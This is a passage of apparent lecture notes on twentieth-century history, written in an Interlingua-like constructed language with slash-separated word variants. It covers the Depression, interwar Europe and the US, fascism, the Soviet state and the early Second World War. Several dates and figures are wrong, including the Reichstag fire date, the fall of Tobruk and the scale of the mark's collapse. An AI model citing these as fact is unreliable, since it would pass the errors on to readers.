1929 et 1932.\nIsta depression anque affectó\/affectat paises cujas economias dependevan de la exportation de productos agricolas perque illos habevan perdito lores mercatos in los paises industrializatos, los quales non potevan comprar los cereales que illos necessitavan, et grandes sectores de lor population habevan problemas con le fame.\nIsta reduction precipitata in la production affectó\/affectat 30.000.000 de individuos, la mitate de illes americanos, et 20% de illes germanos. Ista miseria generalizata causó\/causat la eruption de novas currentes politicas socialisticas et fascisticas. In los Statos Unitos, le governamento de Franklin Roosevelt evitó\/evitat un disastre total pro la classe regente americana per concessiones ben calibratas a las classes medias. Ma in Germania, Hitler usó\/usat la crisis economica multo habilemente pro ingenerar le collapso de la republica Weimar et sasir le governamento germano.\nDisveloppamentos Sociopoliticos in la Europa Occidental et los Statos Unitos inter 1920 et la Secunda Guerra Mundial:\nIn despecto del triumpho sur Germania al fin de la Prima Guerra Mundial, la tradition democratica liberal de los paises europeos\/europeanos passava per una serie de crisis.\nAlicunos paises potevan recuperar lores traditiones liberales post haber concedito a lores ministros executivos la autorititate quasi dictatorial de las quales illes habevan besonio pro prosequer la guerra.\nIn altros paises, las tensiones de la guerra eventualmente produceron crescentes conflictos inter lores partitos politicos que alteravan fundamentalmente lor politica national, producente\/producendo governamentos de coalition que inauguravan programmas sovente incoherentes, los quales causavan dubitos sur la viabilitate de lores systemas democraticos traditionales.\nIstas crisis incoragiavan la emergentia de duas novas currentes politicas, le communismo et le fascismo. Pro neutralizar la crescente fortia de istos movimentos socialisticos et communisticos, las classes riccas sovente appoiaron movimentos fascistas que promittevan proteger lores interesses economicos si illes les concedevan le directo a establir governamentos totalitarios.\nAltros paises que habevan ganiato lor independentia a causa de la guerra habevan populationes sin traditiones democraticas qui habevan impatientia con la inefficientia et incertitude de la politica democratica. Ista inexperientia et impatientia sovente produceva regimenes despoticos in certos paises del centro et del est de Europa.\nLe Equilibrio Stabile de Anglaterra:\nBen que las convulsiones economicas et sociales affectavan omnes los paises de la Europa occidental, Anglaterra escappava la major parte de illas a causa de su equilibrio politico interno traditional, su position financiaria forte, et su bona fortuna de non haber essito invadita durante la guerra.\nMa post la guerra le centro de gravitate financiario moveva de London a New York. Los Statos Unitos (et etiam Japon in le oriente) ganiavan una parte grande de los mercatos que antea los angleses controlavan. Le debito que Anglaterra habeva contrahito con los Statos Unitos durante la guerra habeva augmentato a unos 32.000.000.000 de francos de auro, et le governamento britannico habeva un altro debito publico de 196.000.000.000 de francos de auro contrahito durante la guerra.\nLe carbon, que habeva essito primordial como fonte de energia durante le seculo XIX, jam non habeva su importantia anterior perque le petroleo nunc generava la electricitate usata in las fabricas del mundo. Omnes istos factores assecuravan que Britannia non recuperarea su hegemonia mundial industrial et financiaria.\nLos syndicatos de los obreros britannicos deveniva un factor de crescente importantia in la politica national britannica, et in 1926 los syndicatos angleses poteron causar la cessation de omnes activitates laborales in un exopero general.\nLe imperio britannico anque comenció\/comenciat su disintegration durante iste periodo. Los angleses habevan perdito lor suprematia naval a los Statos Unitos; et post la Prima Guerra Mundial, las colonias britannicas anque volevan lor propria independentia como los novos paises europeos\/europeanos. In 1926 emergió\/emergit la Commonwealth of Nations, una confederation laxa de las previas colonias britannicas.\nLe Equilibrio Inestabile de Francia:\nMultas battalias de la Prima Guerra Mundial habueron loco in Francia, que habeva perdito multo de su infrastructura physica et economica. Francia anque habeva debitos interiores et exteriores (le debito francese a los Statos Unitos et a Anglaterra habeva un total de $5.000.000.000), et la indemnization de Germania poteva pagar solamente una parte de iste onere financiario.\nLa Tertia Republica Francesa:\nDurante omne su historia, la Tertia Republica de Francia habeva partitos que advocavan omnes las partes del spectro politico de la plus sinistra a la plus dextra, ma immediatamente post la guerra nulle de istos partitos poteva stabilizar le governamento francese. In un periodo de 15 menses il habeva cinque cambios de governamento. La depression economica mundial que comenció\/comenciat con la crisis economica de los Statos Unitos anque impejorava la instabilitate politica francesa.\nUna coallition de socialistas, radicales, et communistas ganió\/ganiat una victoria in las electiones de 1936, et Leon Blum, un homine de grande prestigio, habeva la opportunitate de governar Francia. Durante iste periodo los salarios de los obreros franceses augmentaron per una taxa de 15%, et las horas de labor caderon a 40 per septimana. Ma una devaluation inevitabile del franco et altros problemas economicos causaron una crisis general in Francia et Blum debió\/debit demitter se.\nBen que prolificavan varios gruppos de fascistas franceses, nulle de illos ganiava bastante potentia pro sasir le governamento, et la Tertia Republica duró\/durat usque la invasion de Francia per los Nazis durante la Secunda Guerra Mundial.\nNOTAS SUR LA HISTORIA DEL SECULO XX\nParte 6\nLos Statos Unitos: Racismo, Xenophobia, et la Emergentia de la Mafia:\nAl fin de la Prima Guerra Mundial, los paises europeos\/europeanos habevan accumulato un debito de $18.000.000.000 de francos auro a los Statos Unitos, que habeva comenciato su participation in la ultima parte de la guerra solamente post que Francia, Anglaterra, et Russia habuissen debilitato las fortias militares de los germanos et de los austriacos.\nCognoscente\/Cognoscendo ben ista position de privilegio, le congresso de los Statos Unitos, controlato per los conservativos del Partito Republicano, inauguraron una politica de forte disveloppamento economico domestico, de isolationismo international, et de un profundo nationalismo combinato con xenophobia, cognoscito orgoliosamente in los Statos Unitos como americanismo.\nIn 1919, le senato statounitese lassó\/lassat sin ratification le Tractato de Versailles et la incorporation de los Statos Unitos in la Societate de Nationes. Vidente\/Videndo la forte rejection de su politica international, Woodrow Wilson non se presentó\/presentat como candidato in las electiones de 1920, et los Republicanos controlaron le pais usque 1932.\nLe isolationismo statounitese se manifestava economicamente con la protection de la industria americana per la elevation de sus tarifas doanales et la restriction de la immigration ab paises con grandes numeros de disoccupatos —specialmente de paises non-europeos\/non-europeanos.\nLe nationalismo et xenophobia americanes promoveva una forte intolerantia racial et religiosa que se manifestava specialmente in organizationes como la \"American Legion\" et le Ku-Klux-Klan, les quales, de una maniera reminiscente de los Nazis hitlerianos, seminaron le terror inter estranieros, americanos de origine africano, catholicos, et judeos.\nLe christianismo protestante americano habeva bastante potentia politica pro illegalizar la consumption de bibitas alcoholicas in los Statos Unitos, creante\/creando un mercato illegal pro illas et establiente\/establiendo la mafia italiana como un forte factor politico et economico in la societate americana.\nLos annos inter 1921 et 1929 marcaron una epocha de prosperitate economica in la economia americana perque\n(1) Un systema de pagamentos mensuales permitteva que un grande numero de americanos potesse comprar una varietate de productos, specialmente automobiles et apparatos electrodomesticos.\n(2) Las grandes corporationes americanas apprenderon le uso de technicos sophisticatos de publicitate pro stimular la demanda pro lores automobiles (Ford, General Motors, Chrysler), radios (Radio Corporation of America), et apparatos electrodomesticos (General Electric, Westinghouse).\n(3) Novas technicas de construction reduceron le precio del allogiamento in centros urbanos como New York, Chicago, et Los Angeles.\nDurante ista epocha de prosperitate, los Statos Unitos possedevan 40% de las reservas mundiales de auro, et su ricchessa national era multo superior a illa de ulle pais europeo\/europeano, producente\/producendo un optimismo et mesmo una euphoria national generalizata. Le americanismo pareva haber assecurato la prosperitate economica perpetua pro la major parte de la population statounitese, ma iste optimismo terminó\/terminat abruptamente le 24 de octobre 1929 con le collapso del mercato de valores de New York.\nIn 1933 le populo americano, disincantato con le fiasco financiario identificato con la administration del pais per le Partito Republicano, eligeva un Democrata, Franklin Roosevelt, a la presidentia de los Statos Unitos. Ille comenció\/comenciat un novo programma aggressivo de reformas economicas collectivamente identificato in anglese como le New Deal.\nLas provisiones del New Deal, planificatas per un gruppo de economicos et sociologos americanos de grande prestigio academico, affectavan omnes partes del systema productivo de la economia americana et representavan le primo effortio de planification economica per le governamento federal americano, que antea habeva adherito plus rigorosamente a los principos de laissez faire, describitos\/descriptos per Adam Smith in The Wealth of Nations (La Ricchessa de las Nationes).\nPro los Statos Unitos istas theorias capitalisticas, cognoscitas a americanos como \"The Free Enterprise System\" (Le Systema de Interprisa Libere) est un de los ingredientes principales de la mythologia secular americana, simile al marxismo, leninismo, et stalinismo de la Union Sovietica.\nLe governamento de Roosevelt interveniva in omnes las facetas de la economia (investimentos, creditos, regulation del mercato financiario, regulation de la production in las fabricas americanas, planification de la production agricultural, includente\/includendo la protection de precios et subsidios pro productos exportatos).\nLe New Deal habuó\/habuit successos importantes, como le augmento de salarios et la reduction de la septimana de labor a 40 horas. Ma desde 1936, le New Deal incontró\/incontrat problemas quando la Corte Suprema de los Statos Unitos declaró\/declarat inconstitutional unos ex sus programmas.\nLe isolationismo americano continuava con minimos cambios usque 1937, quando Roosevelt comenció\/comenciat preoccupar se per la securitate statounitese a causa del expansionismo japonese et germano.\nIn un discurso presentato in Chicago, ille usó\/usat la metaphora de una quarantena pro describer istos novos disveloppamentos in la balantia de potentia mundial quando ille diceva \"La pace, la libertate, et la securitate del noventa per cento del mundo se trova in periculo perque le dece per cento restante menacia la ruptura del ordine et del derecto. Quando una epidemia comencia extender se, la communitate approba que on pona les malades in quarantena.\" Iste discurso annunciava que los Statos Unitos devenirean activos de novo in la politica international.\nLa Emergentia del Fascismo in Germania:\nLa evolution del fascismo in Germania comenció\/comenciat con le vincimento decisivo de los germanos al fin de la Prima Guerra Mundial, con la crisis economica imponita\/imposta sur le pais per le Tractato de Versailles, et con la perdita completa de Germania de su prestigio international.\nPost la abdication de Wilhelm II in Novembre, 1918, Friedrich Ebert devenió\/devenit le cancellero de Germania. Ebert era un membro del Partito Socialdemocrata, marxista in theoria ma moderatamente reformista in la practica. Ille debeva confrontar problemas de manifestationes contra le governamento et respondeva con una repression dura, la \"Septimana sanguinaria\", que resultó\/resultat in le massacro de obreros revolutionarios, inter illes Rosa Luxemburg et Karl Liebknecht.\nIn februario le governamento convocó\/convocat electiones generales pro formar una assemblea constituente. Durante istas electiones 46% del populo votava pro le Partito del Centro et los Socialdemocratas, los quales formaron una coalition proclamante\/proclamando la Republica de Weimar et elaborante\/elaborando una constitution confusa et contradictoria.\nOn seligeva Ebert como presidente et Scheidmann como cancellero de la Republica. Desde sus primos momentos la nova republica germana debeva confrontar graves problemas internos, includente\/includendo las consequentias de la repression de los sectores de la population opprimita durante la prima administration de Ebert, assassinationes politicas, et insurrectiones per los Partitos Communista et Nationalsocialista.\nIn iste periodo de confusion social, Hitler essayava sasir le governamento in 1923 per medio de un colpo in Munich, que fació\/facit fiasco et le portó\/portat a la carcere.\nLa Republica de Weimar anque debeva confrontar problemas internos. A causa de su incapacitate pro pagar sus debitos a Francia secundo le Tractato de Versailles, su governamento debió\/debit acceptar la occupation del Ruhr per truppas francobelgas. Ista occupation provocó\/provocat un forte nationalismo inter los germanos, qui montavan fortes demonstrationes patrioticas.\nIntertanto, la economia se debilitava fortemente con la hyperinflation del marco. Post 1923 la taxa de cambio inter le marco et le dollar cambió\/cambiat rapidamente de un dollar pro 84 marcos a un dollar pro 4.200.000.000 marcos.\nIn 1924 le marco se stabilizó\/stabilizat con la normalization de los pagamentos pro reparationes de guerra, la evacuation de las truppas francobelgas del Ruhr, et la admission de Germania a in la Societate de las Nationes.\nBen que la production industrial germana eventualmente se habeva stabilizato, illa falleva post la crisis economica americana que comenció\/comenciat in 1929 perque multa de la production industrial germana dependeva de la fortia de la economia americana.\nOmne iste tumulto fortificava la position del Partito Nationalsocialista de Hitler, qui usava omnes opportunitates presentatas per istas crisis economicas et sociales pro su avantage politico.\nLos Nazis combinavan la violentia in las stratas con la propaganda politica et la lucta parlamentaria. In 1932 illes habevan devenito le partito politico le plus potente de Germania, ben que los partisanos de Hitler non habevan una majoritate que les permittesse governar le pais.\nIntertanto tamen los Nazis fortificaron las partes de su partito quasimilitar, las SS (Schutzstaffel, aut esquadra de protection) et la SA (Sturmabteilung, aut section de assalto), que in 1932 habeva bastante personal pro devenir un vera fortia militar.\nLos capitalistas germanos decideron que Hitler era la persona la plus capace de controlar le disordine social del pais et agglutinar los germanos pro superar su defaite al fin de la Prima Guerra Mundial et reganiar de novo la hegemonia de Carlomagno et de Bismarck sur los altros paises de Europa.\nLa vision politica de Hitler era le establimento de un dritte Reich aut tertio imperio (le primo fuó\/fuit ille de Carlomagno, le secundo ille de Bismarck), que superarea la corruption et la barbarie, que, secundo ille, characterizava las democratias liberales et le stato socialistico sovietico.\nAddito a ista philosophia politica era la exaltation de la racia germana, que, secundo ille, incarnava las virtutes aryanas de las tribos germanicas que conquerieron le Imperio Romano, et un odio verso los judeos, qui, secundo los Nazis, habevan saisito la cultura et le poter economico de Germania et robato los arianos de omnes lores ricchessas.\nIn las electiones de julio, 1932, 37% del electorato votó\/votat pro los Nazis, et le 30 de januario, 1933, le presidente Hindenburg, un militar del derecto politico, passó\/passat la direction del governamento germano a Hitler, qui immediatamente comenció\/comenciat un plan pro implantar una dictatura ferrea.\nLe 20 de februario, le Reichstag (parlamento) fuó\/fuit comburito in un incendio provocato per los Nazis, qui blasmavan los communistas pro planificar lo. Con iste pretexto Hitler suspendió\/suspendit la autonomia de los statos, la function legislativa del parlamento, et las garantias politicas de la constitution germana, imponente\/imponendo un governamento centralizato que ille controlava directamente con commissarios politicos in cata region del pais.\nIn martio, 1933, per medio de electiones manipulatas per le Ministerio del Interior germano, los Nazis reoperivan le Reichstag con una majoritate absoluta del Partito Nazi, que dava a Hitler le controlo personal et absoluto de Germania.\nPro consolidar su controlo del pais, Hitler inauguró\/inaugurat un Ministerio de Propaganda, dirigito per Josef Göbbels, et tunc comenció\/comenciat un programma sophisticato pro manipular la opinion publica.\nAnte la dissidentia del gruppo SA, que resisteva qualques partes de sus programmas revolutionarios radicales, Hitler commandó\/commandat que la SS et la Gestapo liquidassen la SA et establiesse los campos de concentration de Buchenwald et Dachau, cujos primos prisioneros fueron la SA et altros dissidentes del nationalsocialismo.\nLe apparato policiario et propagandistic del Führer (commandante) expandió\/expandit a proportiones giganticas\/gigantescas. Su scopo principal era facer conformar le populo germano a la philosophia de los Nazis, que includeva le pan-germanismo, la superioritate racial de la racia blanca aryana, et la inferioritate racial de judeos, cuja extermination Hitler comenciava con un apparato de campos de concentration con camaras de gas et crematorios.\nLe programma economico de los Nazis preservava la proprietate privata de los medios de production, ma la planification de la production era sub le controlo autocratico ferreo del stato. Pro rearmar su pais, Hitler reactivó\/reactivat las fabricas de armamento et material bellico germano, seligente\/seligendo la production de cannones in vice de butyro.\nPro controlar luctas inter las classes sociales, los Nazis anque obligaron que los obreros et los capitalistas conducessen sus activitates secundo normas establitas per le governamento central. Hitler anque stimuló\/stimulat la production agricola et la construction de allogiamento et obras publicas, specialmente un systema de autopistas de alta velocitate.\nPro financiar le novo systema economico, los Nazis deberon congelar salarios, rationar numerosos alimentos, diminuer los beneficios economicos a las interprisas industriales et commerciales, et imponer novos impostos, los quales non sufficevan pro pagar los debitos de los germanos a Francia.\nLa politica exterior de Hitler fuó\/fuit la annulation del tractato de Versailles et le uso de aggression militar pro annexar altros paises et acquirer novos territorios pro los germanos.\nNOTAS SUR LA HISTORIA DEL SECULO XX\nParte 7\nLe Fascismo in Italia:\nPost la guerra los italianos se sentivan decipitos a causa de la pauco abundante compensation offerita a illes per los tractatos de Paris post la defaite de los germanos. Per altra parte, la forte depreciation monetaria, con su consequente augmento de precios, provocava una varietate de disordines publicos, inter illos exoperos laborales, que sovente interrumpevan la production agricultural de Italia.\nIsta situation promovió\/promovit un movimento fascistico in Italia. Como le fascismo germano, ille de Italia habeva una forte base nationalistica (los italianos volevan reviver los annos de splendor et gloria del Imperio Romano), et la classe de proprietarios italianos riccos videva in le fascismo la salvation de sus interesses economicos menaciatos per movimentos socialistas.\nItalia anque non habeva una tradition democratica —le suffragio universal se habeva establito solamente un anno ante la guerra— et la classe regente italiana non habeva la patientia requirita pro defender lores interesses exigitos per los processos politicos democraticos de los angleses, franceses, et americanos.\nLa Revolution Russa era multo recente (1917), et le Partito Socialista Italiano, que la invocaba con frequentia, cresceva con un rhythmo preoccupante. Los fascistas usavan multo habilemente le sentimento de timor a la revolution socialistica pro ganiar le appoio de las classes potentes. Le sector plus prospero de la classe media non habeva sympathia pro le movimento laboral et credeva que los fascistas les darean opportunitates substantiales pro meliorar lor position economica et social.\nLos fascistas anque trovavan una fonte de recrutamento inter personas de la classe media bassa, qui ascoltava lor rhetorica nationalista sur la grandessa de Italia et la gloria del Imperio Romano, que illes promittevan reviver in una nova forma que conveniesse al seculo XX.\nLos militares blasmavan los socialistas pro lores fiascos militares durante la Prima Guerra Mundial. Secundo illes, la doctrina socialista que manteneva que le capitalismo causava la guerra habeva influentiato le comportamento de los soldatos italianos durante la guerra. Los fascistas appoiavan iste puncto de vista et facilemente recruitavan a su causa las fortias militares italianas, que les adjuvavan in lores programmas de terrorismo.\nIn 1922 los fascistas organizaron una marcha a Roma. Unos 26.000 homines armatos participaron in iste evento, et le rege italiano, Vittore Manuele III, dó\/dat la presidentia del governamento italiano a Mussolini, ben que las guarnitiones romanas forsan poterean haber prevalito contra los \"camisas nigras\" fascisticos.\nDurante su regime, Mussolini supprimió\/supprimit los derectos humanos garantitos per la constitution italiana, includente\/includendo la libertate de pressa, la libertate de viver in ulla parte del pais, et la libertate de association. Le parlamento in la practica deveniva un choro de approbation pro los programmas fascistas, et los judices del systema legal perderon lor independentia. Quasi 5.000 personas fueron condemnatas per los tribunales politicos de subversion contra le governamento, 10.000 fueron deportatas, et 300.000 eligeron le exilio.\nIn la prima phase de su dictatura Mussolini fingeva preservar unas institutiones democraticas. Ille anque convocó\/convocat (et manipuló\/manipulat) las electiones de 1924. Post illos, 406 fascistas ganiaron positiones in le parlamento italiano contra 129 membros de la opposition.\nIn 1925 Mussolini supprimió\/supprimit omnes los partitos que opponevan los fascistas. Postea, Mussolini et sus ministros non habevan le besonio de justificar lores actiones ante le parlamento. Los fascistas debevan responder ante le rege italiano, ma ille non voleva asserer sus derectos soveranos.\nIn 1926 Mussolini poteva governar Italia per decretos sin la necessitate de consultar con le parlamento et, como Julio Cesar, se proclamava le Duce de Italia. Ille promulgó\/promulgat una nova lege prohibente\/prohibendo la critica del governamento per la pressa, establió\/establit un apparato policiario pro assecurar que omne la population de Italia applaudesse las politicas fascisticas, et in 1927 establió\/establit un syndicato laboral fascista que prohibeva exoperos laborales.\nCon le scoppo de perpetuar su systema, Mussolini creó\/creat in 1928 le Grande Consilio Fascista, et in 1929 ille convocó\/convocat electiones que presentavan ante le electorato solamente candidatos fascisticos.\nLa economia italiana durante ista epocha functionava sub un systema autarchico et protectionista, que se intensificó\/intensificat post la depression de 1929. Le stato italiano controlava practicamente omnes los sectores de la production per medio de companias strictamente controllatas et monopolios statales administratos per le Instituto de Reconstruction Industrial.\nLa politica exterior de Mussolini habeva le scopo de recuperar las zonas que pertinevan al Imperio Romano, et in 1935 ille invadió\/invadit Abysinnia (nunc Ethiopia). La Societate de Nationes non potió\/potit intervenir effectivamente contra ista invasion.\nLos fascistas italianos et los nationalsocialistas germanos, habente\/habendo quasi la mesma philosophia politica et economica, se unieron in le Axe Roma-Berlin (ben que durante ille mesmo anno Mussolini anque habeva signato con Anglaterra et Francia un pacto contra la politica de Hitler, repetente\/repetendo la vacillation politica italiana durante la Prima Guerra Mundial).\nLa Consolidation de la Revolution Sovietica:\nLos communistas sovieticos, post sasir le governamento de Russia, habevan le problema immenso de poner in practica los principios revolutionarios socialistas in un pais de tan\/tanta enorme extension como Russia, un congerie de numerosas nationalitates, racias, et religiones. Le governamento sovietico debió\/debit luctar contra la resistentia de milles de paisanos, qui non volevan collectivizar lores terras agricolas, et contra possibiles rebelliones de sus populationes urbanas, qui sovente non habevan bastantes alimentos pro superviver.\nLa Armea\/Armata Blanca, commandata per generales czaristas, manteneva su resistentia (specialmente in Ukrania, Siberia, et Murmansk). Illes anque habevan le appoio de los franceses, angleses, et statouniteses, qui timevan le triumpho del communismo. Istos paises anque eran discontentos perque le novo governamento sovietico non recognosceva los debitos de guerra del governamento czarista. Le Corpore Expeditionario chechoslovaco anque participava in iste movimento de resistentia militar con los franceses, angleses, et americanos.\nIn le autumno de 1919 la Armea\/Armata Rubia\/Rossa, dirigita per Leon Trotski, infligeva un colpo decisivo contra istos contrarevolutionarios, ben que illes continuaron lor resistentia usque 1921.\nSimultaneamente con la guerra civil, le governamento sovietico debeva luctar contra los poloneses pro establir una frontiera stabile inter Russia et Polonia. Iste conflicto terminó\/terminat in 1921 quando Polonia cedió\/cedit Ukrania et la Russia Blanca a los sovieticos. Altros statos russos anque luctavan pro le recognoscimento de lor independentia, et Ukrania, Finlandia, et los Paises Balticos habevan successo in iste effortio.\nNonobstante, la menacia la plus grande pro le governamento sovietico non veniva de los campos de battalia ma de la resistentia de grandes sectores de su population. Secundo los principios del marxismo, Lenin habeva dividito las terras agricolas de la Union Sovietica de una maniera theoricamente equalitaria inter omnes los campesinos qui laboravan sur illas. Ma pro satisfacer las necessitates de la population militar, urbana, et industrial, le governamento obligava que los campesinos dassen al stato omnes lores productos agricolas, permittente\/permittendo que illes retenessen solamente lo que illes besoniavan pro superviver.\nIn lores tentativas de eliminar problemas de insurrection inter multas partes de su population, le governamento de Lenin deportava et incarcerava un grandissimo numero de personas, ma sus effortios non impedivan la generalization del fame in los centros urbanos de su pais.\nLos annos inter 1917 et 1921 fueron un periodo de confusion characterizato per la nationalization del commercio et de la industria pesante, per la militarization del travalio, et per le chaos economico generalizato. Multos sectores del systema de transporte et de la industria pesante non potevan functionar a causa de la carentia de materias primas, de pecias de recambio pro la machineria industrial, et de personal con los cognoscimentos necesses pro administrar effectivamente las diversas industrias del pais.\nLenin deveni plus flexibile:\nLe fame in las citates provocava movimentos fortes de resistentia contra le stato sovietico inter los obreros de Leningrado et los marineros de Kronstadt. Lenin tunc comprendeva que la Revolution era in periculo et inauguró\/inaugurat su Nova Politica Economica, que permitteva que los agricultores de la Union Sovietica vendessen una parte de lor frumento in mercatos liberes, permittente\/permittendo le establimento de qualques interprisas privatas, et stimulante\/stimulando le investimento estranio. Lenin explicava ista politica de \"tregua\" como \"facer un passo a retro pro poter facer duos in avante\".\nDurante iste periodo de liberalization economica, la resistentia de los poteres occidentales europeos\/europeanos contra la Union Sovietica diminueva. Russia signó\/signat le tractato de Rapallo con Germania et recipió\/recipit le recognoscimento de Britannia, Francia, et Italia.\nLenin anque potió\/potit institutionalizar la Revolution Bolchevica per la Constitution de Julio de 1923, que dava a la Union Sovietica una structura federal et concedeva a sus republicas componentes le derecto de separar se de la Union. Ista constitution anque garantiva una serie de derectos a los citatanos sovieticos a condition que illes non opponessen los objectivos revolutionarios \"supremos\". In 1934 Russia anque se unió\/unit a la Societate de Nationes.\nNOTAS SUR LA HISTORIA DEL SECULO XX\nParte 8\nLa Prima Phase de la Secunda Guerra Mundial:\nLos altros paises europeos\/europeanos concluderon que la reactivation de la industria bellica de Germania indicava que Hitler iva initiar actiones aggressivas contra illos. Sus primas actiones expansionistas fueron contra las nationes las plus debiles de Europa. Las grandes potentias timevan una repetition de la destruction de la Prima Guerra Mundial et speravan que las ambitiones de Hitler se limitarean a istos parvos paises, et las actiones de Francia et Anglaterra contra ille se limitavan a protestas diplomaticas.\nLa prima operation germana fuó\/fuit la annexion (Anschluss) de Austria per medio de una invasion militar le 13 de martio de 1938. Le proxime mense la population austriaca ratificava la invasion germana in un plebiscito.\nLa secunde operation fuó\/fuit la invasion de Checoslovachia con le pretexto de recuperar le territorio del Sudetes, ubi existeva una minoria de origine germano de unos 3.200.000 personas. Ma Germania voleva plus Lebensraum (spatio pro viver) et dividió\/dividit Checoslovachia in los protectoratos de Bohemia et Moravia. Slovachia remaneva un alliato independente del Tertio Reich (imperio).\nChecoslovachia sperava inutilemente la adjuta de Francia et Britannia, ma lor indecision et las manovras diplomaticas de Hitler lassaron iste populo slavo sub le control de los Nazis.\nDurante la conferentia de München inter Hitler, Mussolini, Chamberlain (Anglaterra), et Daladier (Francia), istos paises signaron un tractato que recognosceva como definitivas las frontieras inter Francia et Germania, et in ille los germanos promitteron que ultra Checoslovachia Germania non habeva altras ambitiones de expansion territorial.\nPost la annexion de Austria et Checoslovachia, Hitler invadió\/invadit Polonia. In le nord de Polonia, le corridor de Danzig separava la Prussia oriental ab le resto de Germania. La citate libere de Danzig (in le bordo del corridor) era germana per cultura, lingua, et tradition. La strategia de Hitler pro occupar iste area comenció\/comenciat in martio con la occupation germana del porto lithuano de Memel.\nLa guerra comencia:\nContra ista menacia, Britannia signó\/signat un pacto de assistentia con Polonia in april, et le Ministro de Affaires Exteriores britannico, Lord Halifax, preveniva Hitler in un telegramma de las consequentias catastrophicas que poterean resultar ex sus desiros expansionistas. Ma Hitler invadió\/invadit Polonia le 1 de septembre, 1939, et duos dies postea, los angleses et los franceses declararon la guerra contra Germania.\nIn tres septimanas la armea\/armata germana annihilava la resistentia polonesa et arrivó\/arrivat a Varsovia. Le 27 de septembre, 1939, post un bombardeo devastante, la capital polonesa cadeva in las manos de las Panzerdivisionen (divisiones de tanks) germanas. Ista victoria fulmine causó\/causat una grande impression in los paises de la Europa occidental, specialmente in Britannia et Francia.\nTimente\/Timendo una irruption immediata in su territorio per la armea\/armata germana, Francia reinfortió\/reinfortiat su linea Maginot, ma Hitler habeva altras prioritates immediatas. Ille invadió\/invadit Danmark et Norvegia in april, 1940. Danmark capitulava sin resistentia, ma Norvegia resistió\/resistit la invasion de los Nazis.\nLa armea\/armata francesa et le corpo expeditionario anglese essayava impedir la occupation de Belgio, ma la Wehrmacht (armea\/armata terrestre germana) era troppo poterosa. Le 27 maio Belgio capitulava ante los germanos. Los germanos tunc circumfereron las truppas anglofrancesas in Calais, et illes deberon retirar se.\nLe solo porto que los germanos non poteron occupar fuó\/fuit Dunkerque. Adjuvata per la fortia aerea britannica, la marina de guerra, la marina mercante, et mesmo per voluntarios qui offerevan lores imbarcationes modestas, 225.000 soldatos angleses et 112.000 franceses escapparon a las costas de Anglaterra inter le 28 de maio et le 2 de junio. Le historia nunc cognosce ista operation como la retraite de Dunkerque.\nGermania occupa Paris:\nLe 15 de junio de 1940, la armea\/armata germana penetró\/penetrat Paris, et le 22 del mense Pétain, le heroe de Verdun in la Prima Guerra Mundial, signava pro los franceses le armistitio franco-germano.\nFrancia tunc se divideva in duas zonas, una de illas occupata et administrata directamente per Germania; et la altra, per un governamento \"libere\" in Vichy del marechal Pétain et de Pierre Laval, qui deberon cooperar con los Nazis. Francia anque signó\/signat un armistitio con Italia, que fortemente voleva participar in la guerra post las victorias germanas.\nPost la occupation de Francia per Hitler, le general De Gaulle exhortava desde London que Francia continuasse la lucta. De Gaulle non habeva multos ressources bellicos ultra los soldatos franceses qui habevan arrivato in Francia per Dunkerque, ma su prestigio personal habeva un forte effecto symbolico et fortificava la resistentia contra los Nazis in le interior de Francia.\nLa Batallia de Anglaterra:\nCon la occupation de los paises del occidente europeo\/europeano, la prima phase de la guerra habeva finito. Nonobstante, los angleses non voleron firmar un tractato de pace con Germania ma insistevan que illes luctarean usque la defaite total de Germania.\nQuando la guerra comenció\/comenciat, los angleses eligeron Winston Churchill como lor primo ministro et le primo lord de la admiralitate. Le attacco germano comenciava immediatamente. Ben que Hitler voleva invader Anglaterra, la resistentia resoluta de los angleses frustró\/frustrat iste plan, et ille acceptó\/acceptat le plan de Göring de bombardear systematicamente los portos et industrias britannicas.\nIn septembre, 1940, las incursiones aereas de Germania comenciavan. La Luftwaffe (fortia aerea) de Germania era multo superior a la Fortia Aerea Regal de Britannia. Durante le hiberno de 1940-1941 las operationes punitivas contra los objectivos militares et civiles de Anglaterra habueron multo successo. London fuó\/fuit fortemente damnificata; et Coventry, destruito.\nMa istas defaites solamente fortificaron la resistentia anglesa. Post un breve periodo de recuperation, la industria de guerra de Britannia interprendeva un programma extensivo de disveloppamento technico, cujos resultatos fueron la construction de bombatores et aviones de chassa con un grande radio de action.\nAl fin de 1941, la guerra aerea inter los angleses et los germanos arrivó\/arrivat a una condition de equilibrio, et in 1942 las fortias aereas anglesas et americanas jam eran ben superiores a la capacitate de la Luftwaffe Germana.\nLa offensiva del Mediterraneo:\nItalia, post un periodo de neutralitate, formó\/format una alliantia con Germania. Los italianos volevan annexar unos territorios mediterraneos como Corsica et altras zonas controlatas per Francia.\nLe 10 de junio, 1940, Italia declarava la guerra contra Francia et Britannia. Su participation in la guerra comenció\/comenciat las operationes militares in le Mediterraneo. Ma los italianos habevan perdito los talentos militares de los romanos classicos, et las fortias militares de los angleses les vinceron decisivamente.\nGermania tunc invió\/inviat a Lybia una armea\/armata elite commandata per le habilissime marechal Rommel, qui desde los primos momentos de su campania in Africa demonstró\/demonstrat un enorme talento strategico. Multo rapidamente ille et sus truppas se adaptaron perfectamente a las exigentias de battalia in los desertos de Africa et conquerieron omne Lybia.\nIn januario, 1942, ille obligó\/obligat que Tobruk capitulasse ante las fortias del Axe germano-italiano, que tunc advantiava usque El Alamein in territorio egyptiano, ubi ille debeva detener se a causa del manco de reinfortios.\nIste paralysis de las fortias germanas dava al general Montgomery la opportunitate de montar una contraoffensiva britannica. In octobre, 1942, las truppas italogermanas deberon ceder Lybia et retornar a sus positiones initiales in Lybia, et las fortias britannicas tunc poteron dominar omnes los frontes de Africa.\nLa Campania Russa:\nLe 22 de junio, 1941, Germania invadeva la Union Sovietica per numerosos punctos sin declarar la guerra, initiante\/initiando lo que Hitler nominava Operation Barba Rubia\/Rossa. Durante las primas phases de la invasion de Russia, le Wehrmacht habeva multo successo. Sus tres corpores avantiavan simultaneamente per le nord, le centro, et le sud de Russia. Letonia, Lithuania, et Estonia fueron occupatas in solamente duas septimanas. La battalia de Uman, del 10 al 12 de augusto, consolidó\/consolidat la occupation de Ukrania, et la battalia de Kiev aperió\/aperit le cammino a Moscova.\nLe 15 de octobre, 1941, post la battalia de Briansk, la armea\/armata germana era solamente unos centos kilometros de Moscova. Durante le hiberno, los germanos postponeron le assedio de Moscova pro recuperar se del viage desde Kiev. Ma las truppas sovieticas, accostumatas al tempore hibernal de lor proprio pais, obligaron le Wehrmacht a ceder parte del terreno conquerito inter Moscova et Leningrado.\nDurante le estate de 1942, la armea\/armata germana, reinfortiata con altras 